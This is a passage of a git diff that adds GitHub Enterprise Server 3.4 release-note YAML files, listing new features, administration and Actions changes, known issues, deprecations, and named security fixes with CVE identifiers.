Advanced Security + notes: + # https://github.com/github/releases/issues/1757 + - | + Enterprise and organization owners can now export their {% data variables.product.prodname_GH_advanced_security %} license usage data to a CSV file. The {% data variables.product.prodname_advanced_security %} billing data can also be retrieved via billing endpoints in the REST API. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-11-export-github-advanced-security-license-usage-data/)." + + - heading: GitHub Actions reusable workflows in public beta + notes: + # https://github.com/github/releases/issues/1541 + - | + You can now reuse entire workflows as if they were an action. This feature is available in public beta. Instead of copying and pasting workflow definitions across repositories, you can now reference an existing workflow with a single line of configuration. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-05-github-actions-dry-your-github-actions-configuration-by-reusing-workflows/)." + + - heading: Dependabot security and version updates in public beta + notes: + # https://github.com/github/releases/issues/2004 + - | + {% data variables.product.prodname_dependabot %} is now available in {% data variables.product.prodname_ghe_server %} 3.4 as a public beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_dependabot %} to be enabled by an administrator. Beta feedback and suggestions can be shared in the [{% data variables.product.prodname_dependabot %} Feedback GitHub discussion](https://github.com/community/community/discussions/categories/dependabot). For more information and to try the beta, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." + + - heading: SAML authentication supports encrypted assertions + notes: + # https://github.com/github/releases/issues/1946 + - | + If you use SAML authentication for {% data variables.product.prodname_ghe_server %}, you can now configure encrypted assertions from your IdP to improve security. Encrypted assertions add an additional layer of encryption when your IdP transmits information to {% data variables.location.product_location %}. For more information, see "[Using SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)." + + - heading: Edit files within pull requests in GitHub Mobile for iOS + notes: + # https://github.com/github/releases/issues/2514 + - | + In GitHub Mobile for iOS 1.80.0 and later, users can now edit files within a pull request's topic branch. Support for editing files will come to GitHub Mobile for Android in a future release. [Updated: 2022-09-13] + + changes: + - heading: Administration Changes + notes: + # https://github.com/github/releases/issues/1657 + - Users can now choose the number of spaces a tab is equal to, by setting their preferred tab size in the "Appearance" settings of their user account. All code with a tab indent will render using the preferred tab size. + + # https://github.com/github/releases/issues/2062 + - The {% data variables.product.prodname_github_connect %} data connection record now includes a count of the number of active and dormant users and the configured dormancy period. + + # https://github.com/github/releases/issues/1722 + - You can now give users access to enterprise-specific links by adding custom footers to {% data variables.product.prodname_ghe_server %}. For more information, see "[Configuring custom footers](/admin/configuration/configuring-your-enterprise/configuring-custom-footers)." + + - heading: Performance Changes + notes: + # https://github.com/github/releases/issues/2031 + - WireGuard, used to secure communication between {% data variables.product.prodname_ghe_server %} instances in a High Availability configuration, has been migrated to the Kernel implementation. + + - heading: Notification Changes + notes: + # https://github.com/github/releases/issues/1801 + - Organization owners can now unsubscribe from email notifications when new deploy keys are added to repositories belonging to their organizations. For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)." + + # https://github.com/github/releases/issues/1714 + - 'Notification emails from newly created issues and pull requests now include `(Issue #xx)` or `(PR #xx)` in the email subject, so you can recognize and filter emails that reference these types of issues.' + + - heading: Organization Changes + notes: + # https://github.com/github/releases/issues/1509 + - Organizations can now display a `README.md` file on their profile Overview. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-14-readmes-for-organization-profiles/)." + + # https://github.com/github/releases/issues/1883 + - Members of organizations can now view a list of their enterprise owners under the organization's "People" tab. The enterprise owners list is also now accessible using the GraphQL API. For more information, see the "[`enterpriseOwners`](/graphql/reference/objects#organization)" field under the Organization object in the GraphQL API documentation. + + - heading: Repositories changes + notes: + # https://github.com/github/releases/issues/1944 + - | + A "Manage Access" section is now shown on the "Collaborators and teams" page in your repository settings. The new section makes it easier for repository administrators to see and manage who has access to their repository, and the level of access granted to each user. Administrators can now: + + * Search all members, teams and collaborators who have access to the repository. + * View when members have mixed role assignments, granted to them directly as individuals or indirectly via a team. This is visualized through a new "mixed roles" warning, which displays the highest level role the user is granted if their permission level is higher than their assigned role. + * Manage access to popular repositories reliably, with page pagination and fewer timeouts when large groups of users have access. + + # https://github.com/github/releases/issues/1748 + - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the repository invitation experience, such as notifications for private repository invites, a UI prompt when visiting a private repository you have a pending invitation for, and a banner on a public repository overview page when there is an pending invitation.' + + # https://github.com/github/releases/issues/1739 + - You can now use single-character prefixes for custom autolinks. Autolink prefixes also now allow `.`, `-`, `_`, `+`, `=`, `:`, `/`, and `#` characters, as well as alphanumerics. For more information about custom autolinks, see "[Configuring autolinks to reference external resources](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)." + + # https://github.com/github/releases/issues/1776 + - A `CODE_OF_CONDUCT.md` file in the root of a repository is now highlighted in the "About" sidebar on the repository overview page. + + - heading: 'Releases changes' + notes: + # https://github.com/github/releases/issues/1723 + - '{% data variables.product.prodname_ghe_server %} 3.4 includes improvements to the Releases UI, such as automatically generated release notes which display a summary of all the pull requests for a given release. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-20-improvements-to-github-releases-generally-available/)."' + + # https://github.com/github/releases/issues/1606 + - When a release is published, an avatar list is now displayed at the bottom of the release. Avatars for all user accounts mentioned in the release notes are shown. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + + - heading: 'Markdown changes' + notes: + # https://github.com/github/releases/issues/1779 + - You can now use the new "Accessibility" settings page to manage your keyboard shortcuts. You can choose to disable keyboard shortcuts that only use single characters like S, G C, and . (the period key). For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-16-managing-keyboard-shortcuts-using-accessibility-settings/)." + + # https://github.com/github/releases/issues/1727 + - You can now choose to use a fixed-width font in Markdown-enabled fields, like issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-12-fixed-width-font-support-in-markdown-enabled-fields/)." + + # https://github.com/github/releases/issues/1761 + - You can now paste a URL on selected text to quickly create a Markdown link. This works in all Markdown-enabled fields, such as issue comments and pull request descriptions. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-linkify-selected-text-on-url-paste/)." + + # https://github.com/github/releases/issues/1758 + - An image URL can now be appended with a theme context, such as `#gh-dark-mode-only`, to define how the Markdown image is displayed to a viewer. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-specify-theme-context-for-images-in-markdown/)." + + # https://github.com/github/releases/issues/1686 + - When creating or editing a gist file with the Markdown (`.md`) file extension, you can now use the "Preview" or "Preview Changes" tab to display a Markdown rendering of the file contents. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-17-preview-the-markdown-rendering-of-gists/)." + + # https://github.com/github/releases/issues/1754 + - When typing the name of a {% data variables.product.prodname_dotcom %} user in issues, pull requests and discussions, the @mention suggester now ranks existing participants higher than other {% data variables.product.prodname_dotcom %} users, so that it's more likely the user you're looking for will be listed. + + # https://github.com/github/releases/issues/1636 + - Right-to-left languages are now supported natively in Markdown files, issues, pull requests, discussions, and comments. + + - heading: 'Issues and pull requests changes' + notes: + # https://github.com/github/releases/issues/1731 + - The diff setting to hide whitespace changes in the pull request "Files changed" tab is now retained for your user account for that pull request. The setting you have chosen is automatically reapplied if you navigate away from the page and then revisit the "Files changed" tab of the same pull request. + + # https://github.com/github/releases/issues/1663 + - When using auto assignment for pull request code reviews, you can now choose to only notify requested team members independently of your auto assignment settings. This setting is useful in scenarios where many users are auto assigned but not all users require notification. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-team-member-pull-request-review-notifications-can-be-configured-independently-of-auto-assignment/)." + + - heading: 'Branches changes' + notes: + # https://github.com/github/releases/issues/1526 + - Organization and repository administrators can now trigger webhooks to listen for changes to branch protection rules on their repositories. For more information, see the "[branch_protection_rule](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#branch_protection_rule)" event in the webhooks events and payloads documentation. + + # https://github.com/github/releases/issues/1759 + - When configuring protected branches, you can now enforce that a required status check is provided by a specific {% data variables.product.prodname_github_app %}. If a status is then provided by a different application, or by a user via a commit status, merging is prevented. This ensures all changes are validated by the intended application. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-01-ensure-required-status-checks-provided-by-the-intended-app/)." + + # https://github.com/github/releases/issues/1911 + - Only users with administrator permissions are now able to rename protected branches and modify branch protection rules. Previously, with the exception of the default branch, a collaborator could rename a branch and consequently any non-wildcard branch protection rules that applied to that branch were also renamed. For more information, see "[Renaming a branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)" and "[Managing a branch protection rule](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule)." + + # https://github.com/github/releases/issues/1845 + - Administrators can now allow only specific users and teams to bypass pull request requirements. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-19-allow-bypassing-required-pull-requests/)." + + # https://github.com/github/releases/issues/1850 + - Administrators can now allow only specific users and teams to force push to a repository. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-12-21-specify-who-can-force-push-to-a-repository/)." + + # https://github.com/github/releases/issues/1796 + - When requiring pull requests for all changes to a protected branch, administrators can now choose if approved reviews are also a requirement. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-require-pull-requests-without-requiring-reviews/)." + + - heading: 'GitHub Actions changes' + notes: + # https://github.com/github/releases/issues/1906 + - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} for the `create`, `deployment`, and `deployment_status` events now always receive a read-only token and no secrets. Similarly, workflows triggered by {% data variables.product.prodname_dependabot %} for the `pull_request_target` event on pull requests where the base ref was created by {% data variables.product.prodname_dependabot %}, now always receive a read-only token and no secrets. These changes are designed to prevent potentially malicious code from executing in a privileged workflow. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + + # https://github.com/github/releases/issues/1667 + - Workflow runs on `push` and `pull_request` events triggered by {% data variables.product.prodname_dependabot %} will now respect the permissions specified in your workflows, allowing you to control how you manage automatic dependency updates. The default token permissions will remain read-only. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-06-github-actions-workflows-triggered-by-dependabot-prs-will-respect-permissions-key-in-workflows/)." + + # https://github.com/github/releases/issues/1668 + - '{% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} will now be sent the {% data variables.product.prodname_dependabot %} secrets. You can now pull from private package registries in your CI using the same secrets you have configured for {% data variables.product.prodname_dependabot %} to use, improving how {% data variables.product.prodname_actions %} and {% data variables.product.prodname_dependabot %} work together. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions)."' + + # https://github.com/github/releases/issues/1615 + - You can now manage runner groups and see the status of your self-hosted runners using new Runners and Runner Groups pages in the UI. The Actions settings page for your repository or organization now shows a summary view of your runners, and allows you to deep dive into a specific runner to edit it or see what job it may be currently running. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-20-github-actions-experience-refresh-for-the-management-of-self-hosted-runners/)." + + # https://github.com/github/releases/issues/1785 + - 'Actions authors can now have their action run in Node.js 16 by specifying [`runs.using` as `node16` in the action''s `action.yml`](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions). This is in addition to the existing Node.js 12 support; actions can continue to specify `runs.using: node12` to use the Node.js 12 runtime.' + + # https://github.com/github/releases/issues/1799 + - 'For manually triggered workflows, {% data variables.product.prodname_actions %} now supports the `choice`, `boolean`, and `environment` input types in addition to the default `string` type. For more information, see "[`on.workflow_dispatch.inputs`](/actions/using-workflows/workflow-syntax-for-github-actions#onworkflow_dispatchinputs)."' + + # https://github.com/github/releases/issues/1782 + - Actions written in YAML, also known as composite actions, now support `if` conditionals. This lets you prevent specific steps from executing unless a condition has been met. Like steps defined in workflows, you can use any supported context and expression to create a conditional. + + # https://github.com/github/releases/issues/1919 + - The search order behavior for self-hosted runners has now changed, so that the first available matching runner at any level will run the job in all cases. This allows jobs to be sent to self-hosted runners much faster, especially for organizations and enterprises with lots of self-hosted runners. Previously, when running a job that required a self-hosted runner, {% data variables.product.prodname_actions %} would look for self-hosted runners in the repository, organization, and enterprise, in that order. + + # https://github.com/github/releases/issues/1753 + - Runner labels for {% data variables.product.prodname_actions %} self-hosted runners can now be listed, added and removed using the REST API. For more information about using the new APIs at a repository, organization, or enterprise level, see "[Repositories](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository)", "[Organizations](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization)", and "[Enterprises](/rest/reference/enterprise-admin#list-labels-for-a-self-hosted-runner-for-an-enterprise)" in the REST API documentation. + + - heading: 'Dependabot and Dependency graph changes' + notes: + # https://github.com/github/releases/issues/1520 + - Dependency graph now supports detecting Python dependencies in repositories that use the Poetry package manager. Dependencies will be detected from both `pyproject.toml` and `poetry.lock` manifest files. + + # https://github.com/github/releases/issues/1921 + - When configuring {% data variables.product.prodname_dependabot %} security and version updates on GitHub Enterprise Server, we recommend you also enable {% data variables.product.prodname_dependabot %} in {% data variables.product.prodname_github_connect %}. This will allow {% data variables.product.prodname_dependabot %} to retrieve an updated list of dependencies and vulnerabilities from {% data variables.product.prodname_dotcom_the_website %}, by querying for information such as the changelogs of the public releases of open source code that you depend upon. For more information, see "[Enabling the dependency graph and Dependabot alerts for your enterprise](/admin/configuration/configuring-github-connect/enabling-the-dependency-graph-and-dependabot-alerts-for-your-enterprise)." + + # https://github.com/github/releases/issues/1717 + - '{% data variables.product.prodname_dependabot_alerts %} alerts can now be dismissed using the GraphQL API. For more information, see the "[dismissRepositoryVulnerabilityAlert](/graphql/reference/mutations#dismissrepositoryvulnerabilityalert)" mutation in the GraphQL API documentation.' + + - heading: 'Code scanning and secret scanning changes' + notes: + # https://github.com/github/releases/issues/1802 + - The {% data variables.product.prodname_codeql %} CLI now supports including markdown-rendered query help in SARIF files, so that the help text can be viewed in the {% data variables.product.prodname_code_scanning %} UI when the query generates an alert. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-23-display-help-text-for-your-custom-codeql-queries-in-code-scanning/)." + + # https://github.com/github/releases/issues/1790 + - The {% data variables.product.prodname_codeql %} CLI and {% data variables.product.prodname_vscode %} extension now support building databases and analyzing code on machines powered by Apple Silicon, such as Apple M1. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-10-codeql-now-supports-apple-silicon-m1/)." + + # https://github.com/github/releases/issues/1732 + - | + The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) from the Python ecosystem. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-11-24-codeql-code-scanning-now-recognizes-more-python-libraries-and-frameworks/)." + + # https://github.com/github/releases/issues/1567 + - Code scanning with {% data variables.product.prodname_codeql %} now includes beta support for analyzing code in all common Ruby versions, up to and including 3.02. For more information, see the "[{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-27-codeql-code-scanning-adds-beta-support-for-ruby/)." + + # https://github.com/github/releases/issues/1764 + - | + Several improvements have been made to the {% data variables.product.prodname_code_scanning %} API: + + * The `fixed_at` timestamp has been added to alerts. This timestamp is the first time that the alert was not detected in an analysis. + * Alert results can now be sorted using `sort` and `direction` on either `created`, `updated` or `number`. For more information, see "[List code scanning alerts for a repository](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository)." + * A `Last-Modified` header has been added to the alerts and alert endpoint response. For more information, see [`Last-Modified`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Last-Modified) in the Mozilla documentation. + * The `relatedLocations` field has been added to the SARIF response when you request a code scanning analysis. The field may contain locations which are not the primary location of the alert. See an example in the [SARIF spec](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012616) and for more information see "[Get a code scanning analysis for a repository](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository)." + * Both `help` and `tags` data have been added to the webhook response alert rule object. For more information, see "[Code scanning alert webhooks events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert)." + * Personal access tokens with the `public_repo` scope now have write access for code scanning endpoints on public repos, if the user has permission. + + For more information, see "[Code scanning](/rest/reference/code-scanning)" in the REST API documentation. + + # https://github.com/github/releases/issues/1943 + - '{% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve private repository secret scanning results at the enterprise level. The new endpoint supplements the existing repository-level and organization-level endpoints. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.' + + - heading: Mobile changes + notes: + # https://github.com/github/mobile/issues/2440 + # https://github.com/github/enterprise2/pull/28057 + - Support for {% data variables.product.prodname_mobile %} is now enabled by default for new {% data variables.product.prodname_ghe_server %} instances. If you have not explicitly disabled or enabled {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_mobile %} will be enabled when you upgrade to {% data variables.product.prodname_ghe_server %} 3.4.0 or later. If you previously disabled or enabled {% data variables.product.prodname_mobile %} for your instance, your preference will be preserved upon upgrade. For more information, see "[Managing {% data variables.product.prodname_mobile %} for your enterprise](/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise)." + + # No security/bug fixes for the GA release + # security_fixes: + # - PLACEHOLDER + + # bugs: + # - PLACEHOLDER + + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - Actions services needs to be restarted after restoring appliance from backup taken on a different host. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - | + When using SAML encrypted assertions with {% data variables.product.prodname_ghe_server %} 3.4.0 and 3.4.1, a new XML attribute `WantAssertionsEncrypted` in the `SPSSODescriptor` contains an invalid attribute for SAML metadata. IdPs that consume this SAML metadata endpoint may encounter errors when validating the SAML metadata XML schema. A fix will be available in the next patch release. [Updated: 2022-04-11] + + To work around this problem, you can take one of the two following actions. + - Reconfigure the IdP by uploading a static copy of the SAML metadata without the `WantAssertionsEncrypted` attribute. + - Copy the SAML metadata, remove `WantAssertionsEncrypted` attribute, host it on a web server, and reconfigure the IdP to point to that URL. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: Deprecation of GitHub Enterprise Server 3.0 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - heading: Deprecation of GitHub Enterprise Server 3.1 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + + - heading: Deprecation of XenServer Hypervisor support + notes: + # https://github.com/github/docs-content/issues/4439 + - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + + - heading: Deprecation of the Content Attachments API preview + notes: + # + - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments. + + - heading: Deprecation of the Codes of Conduct API preview + notes: + # https://github.com/github/releases/issues/1708 + - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.' + + - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + notes: + # https://github.com/github/releases/issues/1316 + - | + Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make). + + - heading: Deprecation of the CodeQL runner + notes: + # https://github.com/github/releases/issues/1632 + - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + + - heading: Deprecation of custom bit-cache extensions + notes: + # https://github.com/github/releases/issues/1415 + - | + Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards. + + Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. + + Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. + + To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the Schedule button. + + - heading: Change to the format of authentication tokens affects GitHub Connect + notes: + # https://github.com/github/releases/issues/1235 + - | + GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. For more information, see the [GitHub changelog](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/). [Updated: 2022-06-14] + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-4/1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-4/1.yml new file mode 100644 index 000000000000..c1e26d10e7e5 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-4/1.yml @@ -0,0 +1,105 @@ +date: '2022-04-04' +sections: + security_fixes: + - 'MEDIUM: A path traversal vulnerability was identified in {% data variables.product.prodname_ghe_server %} Management Console that allowed the bypass of CSRF protections. This vulnerability affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.5 and was fixed in versions 3.1.19, 3.2.11, 3.3.6, 3.4.1. This vulnerability was reported via the {% data variables.product.prodname_dotcom %} Bug Bounty program and has been assigned CVE-2022-23732.' + - 'MEDIUM: An integer overflow vulnerability was identified in the 1.x branch and the 2.x branch of `yajil` which leads to subsequent heap memory corruption when dealing with large (~2GB) inputs. This vulnerability was reported internally and has been assigned CVE-2022-24795. ' + - Support bundles could include sensitive files if {% data variables.product.prodname_actions %} was enabled. + - Packages have been updated to the latest security versions. + bugs: + - A workflow run may not complete if it uses composite-actions. + - When enabling {% data variables.product.prodname_dependabot %}, an error caused some security advisories to temporarily read as no-longer applicable. + - Minio processes would have high CPU usage if an old configuration option was present after upgrading {% data variables.product.prodname_ghe_server %}. + - The options to enable `TLS 1.0` and `TLS 1.1` in the Privacy settings of the Management Console were shown, although removal of those protocol versions occurred in an earlier release. + - In a HA environment, configuring MSSQL replication could require additional manual steps after enabling {% data variables.product.prodname_actions %} for the first time. + - A subset of internal configuration files are more reliably updated after a hotpatch. + - The `ghe-run-migrations` script would sometimes fail to generate temporary certificate names correctly. + - Pre-receive hooks that used `gpg --import` timed out due to insufficient `syscall` privileges. + - In some cluster topologies, webhook delivery information was not available. + - The {% data variables.product.prodname_actions %} deployment graph would display an error when rendering a pending job. + - Elasticsearch health checks would not allow a yellow cluster status when running migrations. + - When using the [Migrations API](/rest/reference/migrations), queued export jobs were not processed. + - Repositories would display a non-functional Discussions tab in the web UI. + - Organizations created as a result of a user transforming their user account into an organization were not added to the global enterprise account. + - LDAP user sync jobs would fail when trying to sync GPG keys that had been synced previously. + - Links to inaccessible pages were removed. + - Some instances experienced high CPU usage due to large amounts unnecessary background jobs being queued. + - Empty repositories didnt sync correctly to cache servers. + - Adding a team as a reviewer to a pull request would sometimes show the incorrect number of members on that team. + - The remove team membership API endpoint would respond with an error when attempting to remove member externally managed via a SCIM Group. + - A large number of dormant users could cause a {% data variables.product.prodname_github_connect %} configuration to fail. + - The "Feature & beta enrollments" page in the Site admin web UI was incorrectly available. + - The "Site admin mode" link in the site footer did not change state when clicked. + changes: + - Memcached connection limits were increased to better accommodate large cluster topologies. + - The Dependency Graph API previously ran with a statically defined port. + - The default shard counts for cluster-related Elasticsearch shard settings have been updated. + - The [Migrations API](/rest/reference/migrations) now generates exports of repositories. + - When filtering enterprise members by organization role on the "People" page, the text for the dropdown menu items has been improved. + - The “Triage” and “Maintain” team roles are preserved during repository migrations. + - Using ghe-migrator or exporting from GitHub.com, an export would not include Pull Request attachments. + - Performance has been improved for web requests made by enterprise owners. + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - | + After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17] + - | + When using SAML encrypted assertions with {% data variables.product.prodname_ghe_server %} 3.4.0 and 3.4.1, a new XML attribute `WantAssertionsEncrypted` in the `SPSSODescriptor` contains an invalid attribute for SAML metadata. IdPs that consume this SAML metadata endpoint may encounter errors when validating the SAML metadata XML schema. A fix will be available in the next patch release. [Updated: 2022-04-11] + + To work around this problem, you can take one of the two following actions. + - Reconfigure the IdP by uploading a static copy of the SAML metadata without the `WantAssertionsEncrypted` attribute. + - Copy the SAML metadata, remove `WantAssertionsEncrypted` attribute, host it on a web server, and reconfigure the IdP to point to that URL. + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: Deprecation of GitHub Enterprise Server 3.0 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data 